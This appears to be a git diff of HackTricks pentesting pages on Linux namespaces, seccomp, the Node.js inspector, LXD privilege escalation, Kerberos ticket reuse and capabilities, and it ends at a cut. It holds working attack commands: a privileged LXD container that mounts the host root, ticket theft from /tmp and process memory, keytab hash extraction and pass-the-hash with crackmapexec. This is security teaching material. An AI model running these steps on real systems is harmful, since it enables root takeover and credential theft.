The time namespace in Linux allows for per-namespace offsets to the system monotonic and boot-time clocks. It is commonly used in Linux containers to change the date/time within a container and adjust clocks after restoring from a checkpoint or snapshot.
|
||||
|
||||
## Lab:
|
||||
|
||||
|
@ -86,6 +86,7 @@ Also, you can only **enter in another process namespace if you are root**. And y
|
|||
|
||||
# References
|
||||
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
* [https://www.phoronix.com/news/Linux-Time-Namespace-Coming](https://www.phoronix.com/news/Linux-Time-Namespace-Coming)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -16,14 +16,11 @@ Other ways to support HackTricks:
|
|||
|
||||
## Basic Information
|
||||
|
||||
**Seccomp** or Secure Computing mode, in summary, is a feature of Linux kernel which can act as **syscall filter**.\
|
||||
Seccomp has 2 modes.
|
||||
**Seccomp**, standing for Secure Computing mode, is a security feature of the **Linux kernel designed to filter system calls**. It restricts processes to a limited set of system calls (`exit()`, `sigreturn()`, `read()`, and `write()` for already-open file descriptors). If a process tries to call anything else, it gets terminated by the kernel using SIGKILL or SIGSYS. This mechanism doesn't virtualize resources but isolates the process from them.
|
||||
|
||||
**seccomp** (short for **secure computing mode**) is a computer security facility in the **Linux** **kernel**. seccomp allows a process to make a one-way transition into a "secure" state where **it cannot make any system calls except** `exit()`, `sigreturn()`, `read()` and `write()` to **already-open** file descriptors. Should it attempt any other system calls, the **kernel** will **terminate** the **process** with SIGKILL or SIGSYS. In this sense, it does not virtualize the system's resources but isolates the process from them entirely.
|
||||
There are two ways to activate seccomp: through the `prctl(2)` system call with `PR_SET_SECCOMP`, or for Linux kernels 3.17 and above, the `seccomp(2)` system call. The older method of enabling seccomp by writing to `/proc/self/seccomp` has been deprecated in favor of `prctl()`.
|
||||
|
||||
seccomp mode is **enabled via the `prctl(2)` system call** using the `PR_SET_SECCOMP` argument, or (since Linux kernel 3.17) via the `seccomp(2)` system call. seccomp mode used to be enabled by writing to a file, `/proc/self/seccomp`, but this method was removed in favor of `prctl()`. In some kernel versions, seccomp disables the `RDTSC` x86 instruction, which returns the number of elapsed processor cycles since power-on, used for high-precision timing.
|
||||
|
||||
**seccomp-bpf** is an extension to seccomp that allows **filtering of system calls using a configurable policy** implemented using Berkeley Packet Filter rules. It is used by OpenSSH and vsftpd as well as the Google Chrome/Chromium web browsers on Chrome OS and Linux. (In this regard seccomp-bpf achieves similar functionality, but with more flexibility and higher performance, to the older systrace—which seems to be no longer supported for Linux.)
|
||||
An enhancement, **seccomp-bpf**, adds the capability to filter system calls with a customizable policy, using Berkeley Packet Filter (BPF) rules. This extension is leveraged by software such as OpenSSH, vsftpd, and the Chrome/Chromium browsers on Chrome OS and Linux for flexible and efficient syscall filtering, offering an alternative to the now unsupported systrace for Linux.
|
||||
|
||||
### **Original/Strict Mode**
|
||||
|
||||
|
@ -65,7 +62,7 @@ int main(int argc, char **argv)
|
|||
|
||||
### Seccomp-bpf
|
||||
|
||||
This mode allows f**iltering of system calls using a configurable policy** implemented using Berkeley Packet Filter rules.
|
||||
This mode allows **filtering of system calls using a configurable policy** implemented using Berkeley Packet Filter rules.
|
||||
|
||||
{% code title="seccomp_bpf.c" %}
|
||||
```c
|
||||
|
@ -143,6 +140,8 @@ If you are using **Docker just to launch an application**, you can **profile** i
|
|||
|
||||
### Example Seccomp policy
|
||||
|
||||
[Example from here](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
|
||||
|
||||
To illustrate Seccomp feature, let’s create a Seccomp profile disabling “chmod” system call as below.
|
||||
|
||||
```json
|
||||
|
|
|
@ -9,14 +9,14 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Basic Information
|
||||
|
||||
When started with the `--inspect` switch, a Node.js process listens for a debugging client. By **default**, it will listen at host and port **`127.0.0.1:9229`**. Each process is also assigned a **unique** **UUID**.
|
||||
[From the docs](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): When started with the `--inspect` switch, a Node.js process listens for a debugging client. By **default**, it will listen at host and port **`127.0.0.1:9229`**. Each process is also assigned a **unique** **UUID**.
|
||||
|
||||
Inspector clients must know and specify host address, port, and UUID to connect. A full URL will look something like `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`.
|
||||
|
||||
|
@ -75,7 +75,7 @@ This is useful in containers because **shutting down the process and starting a
|
|||
|
||||
### Connect to inspector/debugger
|
||||
|
||||
If you have access to a **Chromium base browser** you can connect accessing `chrome://inspect` or `edge://inspect` in Edge. Click the Configure button and ensure your **target host and port** are listed (Find an example in the following image of how to get RCE using one of the next sections examples).
|
||||
To connect to a **Chromium-based browser**, the `chrome://inspect` or `edge://inspect` URLs can be accessed for Chrome or Edge, respectively. By clicking the Configure button, it should be ensured that the **target host and port** are correctly listed. The image shows a Remote Code Execution (RCE) example:
|
||||
|
||||
![](<../../.gitbook/assets/image (620) (1).png>)
|
||||
|
||||
|
@ -189,7 +189,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -217,7 +217,7 @@ uid=99(nobody) gid=99(nobody) euid=100
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -40,20 +40,19 @@ wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
|
|||
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
|
||||
```
|
||||
|
||||
Then, upload to the vulnerable server the files **lxd.tar.xz** and **rootfs.squashfs**
|
||||
|
||||
Add the image:
|
||||
Upload the files **lxd.tar.xz** and **rootfs.squashfs**, add the image to the repo and create a container:
|
||||
|
||||
```bash
|
||||
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
|
||||
lxc image list #You can see your new imported image
|
||||
```
|
||||
|
||||
Create a container and add root path
|
||||
# Check the image is there
|
||||
lxc image list
|
||||
|
||||
```bash
|
||||
# Create the container
|
||||
lxc init alpine privesc -c security.privileged=true
|
||||
lxc list #List containers
|
||||
|
||||
# List containers
|
||||
lxc list
|
||||
|
||||
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
|
||||
```
|
||||
|
@ -63,7 +62,7 @@ If you find this error _**Error: No storage pool found. Please create a new stor
|
|||
Run **`lxd init`** and **repeat** the previous chunk of commands
|
||||
{% endhint %}
|
||||
|
||||
Execute the container:
|
||||
Finally you can execute the container and get root:
|
||||
|
||||
```bash
|
||||
lxc start privesc
|
||||
|
@ -113,9 +112,10 @@ lxc exec test bash
|
|||
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
|
||||
```
|
||||
|
||||
## Other Refs
|
||||
## References
|
||||
|
||||
{% embed url="https://reboare.github.io/lxd/lxd-escape.html" %}
|
||||
* [https://reboare.github.io/lxd/lxd-escape.html](https://reboare.github.io/lxd/lxd-escape.html)
|
||||
* [https://etcpwd13.github.io/greyfriar_blog/blog/writeup/Notes-Included/](https://etcpwd13.github.io/greyfriar_blog/blog/writeup/Notes-Included/)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -30,7 +30,7 @@ You can also check the following page to learn **other ways to enumerate AD from
|
|||
|
||||
### FreeIPA
|
||||
|
||||
It is an open source **alternative** to Microsoft Windows **Active** **Directory**, primarily used as an integrated management solution for **Unix** environments. Learn more about it in:
|
||||
FreeIPA is an open-source **alternative** to Microsoft Windows **Active Directory**, mainly for **Unix** environments. It combines a complete **LDAP directory** with an MIT **Kerberos** Key Distribution Center for management akin to Active Directory. Utilizing the Dogtag **Certificate System** for CA & RA certificate management, it supports **multi-factor** authentication, including smartcards. SSSD is integrated for Unix authentication processes. Learn more about it in:
|
||||
|
||||
{% content-ref url="../freeipa-pentesting.md" %}
|
||||
[freeipa-pentesting.md](../freeipa-pentesting.md)
|
||||
|
@ -48,41 +48,35 @@ In this page you are going to find different places were you could **find kerber
|
|||
|
||||
### CCACHE ticket reuse from /tmp
|
||||
|
||||
> When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions
|
||||
CCACHE files are binary formats for **storing Kerberos credentials** are typically stored with 600 permissions in `/tmp`. These files can be identified by their **name format, `krb5cc_%{uid}`,** correlating to the user's UID. For authentication ticket verification, the **environment variable `KRB5CCNAME`** should be set to the path of the desired ticket file, enabling its reuse.
|
||||
|
||||
List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be **reused by setting the environment variable** with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID.
|
||||
|
||||
```bash
|
||||
# Find tickets
|
||||
ls /tmp/ | grep krb5cc
|
||||
krb5cc_1000
|
||||
krb5cc_1569901113
|
||||
krb5cc_1569901115
|
||||
|
||||
export KRB5CCNAME=/tmp/krb5cc_1569901115
|
||||
# Prepare to use it
|
||||
export KRB5CCNAME=/tmp/krb5cc_1000
|
||||
```
|
||||
|
||||
### CCACHE ticket reuse from keyring
|
||||
|
||||
Processes may **store kerberos tickets inside their memory**, this tool can be useful to extract those tickets (ptrace protection should be disabled in the machine `/proc/sys/kernel/yama/ptrace_scope`): [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
|
||||
**Kerberos tickets stored in a process's memory can be extracted**, particularly when the machine's ptrace protection is disabled (`/proc/sys/kernel/yama/ptrace_scope`). A useful tool for this purpose is found at [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), which facilitates the extraction by injecting into sessions and dumping tickets into `/tmp`.
|
||||
|
||||
To configure and use this tool, the steps below are followed:
|
||||
|
||||
```bash
|
||||
# Configuration and build
|
||||
git clone https://github.com/TarlogicSecurity/tickey
|
||||
cd tickey/tickey
|
||||
make CONF=Release
|
||||
|
||||
[root@Lab-LSV01 /]# /tmp/tickey -i
|
||||
[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
|
||||
[+] root detected, so... DUMP ALL THE TICKETS!!
|
||||
[*] Trying to inject in tarlogic[1000] session...
|
||||
[+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache
|
||||
[*] Trying to inject in velociraptor[1120601115] session...
|
||||
[+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache
|
||||
[*] Trying to inject in trex[1120601113] session...
|
||||
[+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache
|
||||
[X] [uid:0] Error retrieving tickets
|
||||
/tmp/tickey -i
|
||||
```
|
||||
|
||||
This procedure will attempt to inject into various sessions, indicating success by storing extracted tickets in `/tmp` with a naming convention of `__krb_UID.ccache`.
|
||||
|
||||
|
||||
### CCACHE ticket reuse from SSSD KCM
|
||||
|
||||
SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`. The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`. By default, the key is only readable if you have **root** permissions.
|
||||
|
@ -106,47 +100,37 @@ klist -k /etc/krb5.keytab
|
|||
|
||||
### Extract accounts from /etc/krb5.keytab
|
||||
|
||||
The service keys used by services that run as root are usually stored in the keytab file **`/etc/krb5.keytab`**. This service key is the equivalent of the service's password, and must be kept secure.
|
||||
Service account keys, essential for services operating with root privileges, are securely stored in **`/etc/krb5.keytab`** files. These keys, akin to passwords for services, demand strict confidentiality.
|
||||
|
||||
Use [`klist`](https://adoptopenjdk.net/?variant=openjdk13\&jvmVariant=hotspot) to read the keytab file and parse its content. The key that you see when the [key type](https://cwiki.apache.org/confluence/display/DIRxPMGT/Kerberos+EncryptionKey) is 23 is the actual **NT Hash of the user**.
|
||||
To inspect the keytab file's contents, **`klist`** can be employed. The tool is designed to display key details, including the **NT Hash** for user authentication, particularly when the key type is identified as 23.
|
||||
|
||||
```
|
||||
klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
|
||||
[...]
|
||||
[26] Service principal: host/COMPUTER@DOMAIN
|
||||
KVNO: 25
|
||||
Key type: 23
|
||||
Key: 31d6cfe0d16ae931b73c59d7e0c089c0
|
||||
Time stamp: Oct 07, 2019 09:12:02
|
||||
[...]
|
||||
```bash
|
||||
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
|
||||
# Output includes service principal details and the NT Hash
|
||||
```
|
||||
|
||||
On Linux you can use [`KeyTabExtract`](https://github.com/sosdave/KeyTabExtract): we want RC4 HMAC hash to reuse the NLTM hash.
|
||||
For Linux users, **`KeyTabExtract`** offers functionality to extract the RC4 HMAC hash, which can be leveraged for NTLM hash reuse.
|
||||
|
||||
```bash
|
||||
python3 keytabextract.py krb5.keytab
|
||||
[!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck
|
||||
[+] Keytab File successfully imported.
|
||||
REALM : DOMAIN
|
||||
SERVICE PRINCIPAL : host/computer.domain
|
||||
NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky
|
||||
# Expected output varies based on hash availability
|
||||
```
|
||||
|
||||
On **macOS** you can use [**`bifrost`**](https://github.com/its-a-feature/bifrost).
|
||||
On macOS, **`bifrost`** serves as a tool for keytab file analysis.
|
||||
|
||||
```bash
|
||||
./bifrost -action dump -source keytab -path test
|
||||
./bifrost -action dump -source keytab -path /path/to/your/file
|
||||
```
|
||||
|
||||
Connect to the machine using the account and the hash with CME.
|
||||
Utilizing the extracted account and hash information, connections to servers can be established using tools like **`crackmapexec`**.
|
||||
|
||||
```bash
|
||||
$ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "31d6cfe0d16ae931b73c59d7e0c089c0" -d "DOMAIN"
|
||||
CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae931b73c59d7e0c089c0
|
||||
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
* [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
|
||||
* [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
|
||||
|
||||
<details>
|
||||
|
@ -156,7 +140,7 @@ CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -20,29 +20,51 @@ Other ways to support HackTricks:
|
|||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## Why capabilities?
|
||||
## Linux Capabilities
|
||||
|
||||
Linux capabilities **provide a subset of the available root privileges** to a process. This effectively breaks up root privileges into smaller and distinctive units. Each of these units can then be independently be granted to processes. This way the full set of privileges is reduced and decreasing the risks of exploitation.
|
||||
Linux capabilities divide **root privileges into smaller, distinct units**, allowing processes to have a subset of privileges. This minimizes the risks by not granting full root privileges unnecessarily.
|
||||
|
||||
To better understand how Linux capabilities work, let’s have a look first at the problem it tries to solve.
|
||||
### The Problem:
|
||||
- Normal users have limited permissions, affecting tasks like opening a network socket which requires root access.
|
||||
|
||||
Let’s assume we are running a process as a normal user. This means we are non-privileged. We can only access data that owned by us, our group, or which is marked for access by all users. At some point in time, our process needs a little bit more permissions to fulfill its duties, like opening a network socket. The problem is that normal users can not open a socket, as this requires root permissions.
|
||||
### Capability Sets:
|
||||
|
||||
## Capabilities Sets
|
||||
1. **Inherited (CapInh)**:
|
||||
- **Purpose**: Determines the capabilities passed down from the parent process.
|
||||
- **Functionality**: When a new process is created, it inherits the capabilities from its parent in this set. Useful for maintaining certain privileges across process spawns.
|
||||
- **Restrictions**: A process cannot gain capabilities that its parent did not possess.
|
||||
|
||||
**Inherited capabilities**
|
||||
2. **Effective (CapEff)**:
|
||||
- **Purpose**: Represents the actual capabilities a process is utilizing at any moment.
|
||||
- **Functionality**: It's the set of capabilities checked by the kernel to grant permission for various operations. For files, this set can be a flag indicating if the file's permitted capabilities are to be considered effective.
|
||||
- **Significance**: The effective set is crucial for immediate privilege checks, acting as the active set of capabilities a process can use.
|
||||
|
||||
**CapEff**: The _effective_ capability set represents all capabilities the process is using at the moment (this is the actual set of capabilities that the kernel uses for permission checks). For file capabilities the effective set is in fact a single bit indicating whether the capabilities of the permitted set will be moved to the effective set upon running a binary. This makes it possible for binaries that are not capability-aware to make use of file capabilities without issuing special system calls.
|
||||
3. **Permitted (CapPrm)**:
|
||||
- **Purpose**: Defines the maximum set of capabilities a process can possess.
|
||||
- **Functionality**: A process can elevate a capability from the permitted set to its effective set, giving it the ability to use that capability. It can also drop capabilities from its permitted set.
|
||||
- **Boundary**: It acts as an upper limit for the capabilities a process can have, ensuring a process doesn't exceed its predefined privilege scope.
|
||||
|
||||
**CapPrm**: (_Permitted_) This is a superset of capabilities that the thread may add to either the thread permitted or thread inheritable sets. The thread can use the capset() system call to manage capabilities: It may drop any capability from any set, but only add capabilities to its thread effective and inherited sets that are in its thread permitted set. Consequently it cannot add any capability to its thread permitted set, unless it has the cap\_setpcap capability in its thread effective set.
|
||||
4. **Bounding (CapBnd)**:
|
||||
- **Purpose**: Puts a ceiling on the capabilities a process can ever acquire during its lifecycle.
|
||||
- **Functionality**: Even if a process has a certain capability in its inheritable or permitted set, it cannot acquire that capability unless it's also in the bounding set.
|
||||
- **Use-case**: This set is particularly useful for restricting a process's privilege escalation potential, adding an extra layer of security.
|
||||
|
||||
**CapInh**: Using the _inherited_ set all capabilities that are allowed to be inherited from a parent process can be specified. This prevents a process from receiving any capabilities it does not need. This set is preserved across an `execve` and is usually set by a process _receiving_ capabilities rather than by a process that’s handing out capabilities to its children.
|
||||
5. **Ambient (CapAmb)**:
|
||||
- **Purpose**: Allows certain capabilities to be maintained across an `execve` system call, which typically would result in a full reset of the process's capabilities.
|
||||
- **Functionality**: Ensures that non-SUID programs that don't have associated file capabilities can retain certain privileges.
|
||||
- **Restrictions**: Capabilities in this set are subject to the constraints of the inheritable and permitted sets, ensuring they don't exceed the process's allowed privileges.
|
||||
|
||||
**CapBnd**: With the _bounding_ set it’s possible to restrict the capabilities a process may ever receive. Only capabilities that are present in the bounding set will be allowed in the inheritable and permitted sets.
|
||||
```python
|
||||
# Code to demonstrate the interaction of different capability sets might look like this:
|
||||
# Note: This is pseudo-code for illustrative purposes only.
|
||||
def manage_capabilities(process):
|
||||
if process.has_capability('cap_setpcap'):
|
||||
process.add_capability_to_set('CapPrm', 'new_capability')
|
||||
process.limit_capabilities('CapBnd')
|
||||
process.preserve_capabilities_across_execve('CapAmb')
|
||||
```
|
||||
|
||||
**CapAmb**: The _ambient_ capability set applies to all non-SUID binaries without file capabilities. It preserves capabilities when calling `execve`. However, not all capabilities in the ambient set may be preserved because they are being dropped in case they are not present in either the inheritable or permitted capability set. This set is preserved across `execve` calls.
|
||||
|
||||
For a detailed explanation of the difference between capabilities in threads and files and how are the capabilities passed to threads read the following pages:
|
||||
For further information check:
|
||||
|
||||
* [https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work](https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work)
|
||||
* [https://blog.ploetzli.ch/2014/understanding-linux-capabilities/](https://blog.ploetzli.ch/2014/understanding-linux-capabilities/)
|
||||
|
@ -387,7 +409,7 @@ getcap /usr/sbin/tcpdump
|
|||
|
||||
### The special case of "empty" capabilities
|
||||
|
||||
Note that one can assign empty capability sets to a program file, and thus it is possible to create a set-user-ID-root program that changes the effective and saved set-user-ID of the process that executes the program to 0, but confers no capabilities to that process. Or, simply put, if you have a binary that:
|
||||
[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): Note that one can assign empty capability sets to a program file, and thus it is possible to create a set-user-ID-root program that changes the effective and saved set-user-ID of the process that executes the program to 0, but confers no capabilities to that process. Or, simply put, if you have a binary that:
|
||||
|
||||
1. is not owned by root
|
||||
2. has no `SUID`/`SGID` bits set
|
||||
|
@ -397,7 +419,7 @@ then **that binary will run as root**.
|
|||
|
||||
## CAP\_SYS\_ADMIN
|
||||
|
||||
[**CAP\_SYS\_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) is largely a catchall capability, it can easily lead to additional capabilities or full root (typically access to all capabilities). `CAP_SYS_ADMIN` is required to perform a range of **administrative operations**, which is difficult to drop from containers if privileged operations are performed within the container. Retaining this capability is often necessary for containers which mimic entire systems versus individual application containers which can be more restrictive. Among other things this allows to **mount devices** or abuse **release\_agent** to escape from the container.
|
||||
**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** is a highly potent Linux capability, often equated to a near-root level due to its extensive **administrative privileges**, such as mounting devices or manipulating kernel features. While indispensable for containers simulating entire systems, **`CAP_SYS_ADMIN` poses significant security challenges**, especially in containerized environments, due to its potential for privilege escalation and system compromise. Therefore, its usage warrants stringent security assessments and cautious management, with a strong preference for dropping this capability in application-specific containers to adhere to the **principle of least privilege** and minimize the attack surface.
|
||||
|
||||
**Example with binary**
|
||||
|
||||
|
@ -489,7 +511,7 @@ ssh john@172.17.0.1 -p 2222
|
|||
|
||||
**This means that you can escape the container by injecting a shellcode inside some process running inside the host.** To access processes running inside the host the container needs to be run at least with **`--pid=host`**.
|
||||
|
||||
[**CAP\_SYS\_PTRACE**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows to use `ptrace(2)` and recently introduced cross memory attach system calls such as `process_vm_readv(2)` and `process_vm_writev(2)`. If this capability is granted and the `ptrace(2)` system call itself is not blocked by a seccomp filter, this will allow an attacker to bypass other seccomp restrictions, see [PoC for bypassing seccomp if ptrace is allowed](https://gist.github.com/thejh/8346f47e359adecd1d53) or the **following PoC**:
|
||||
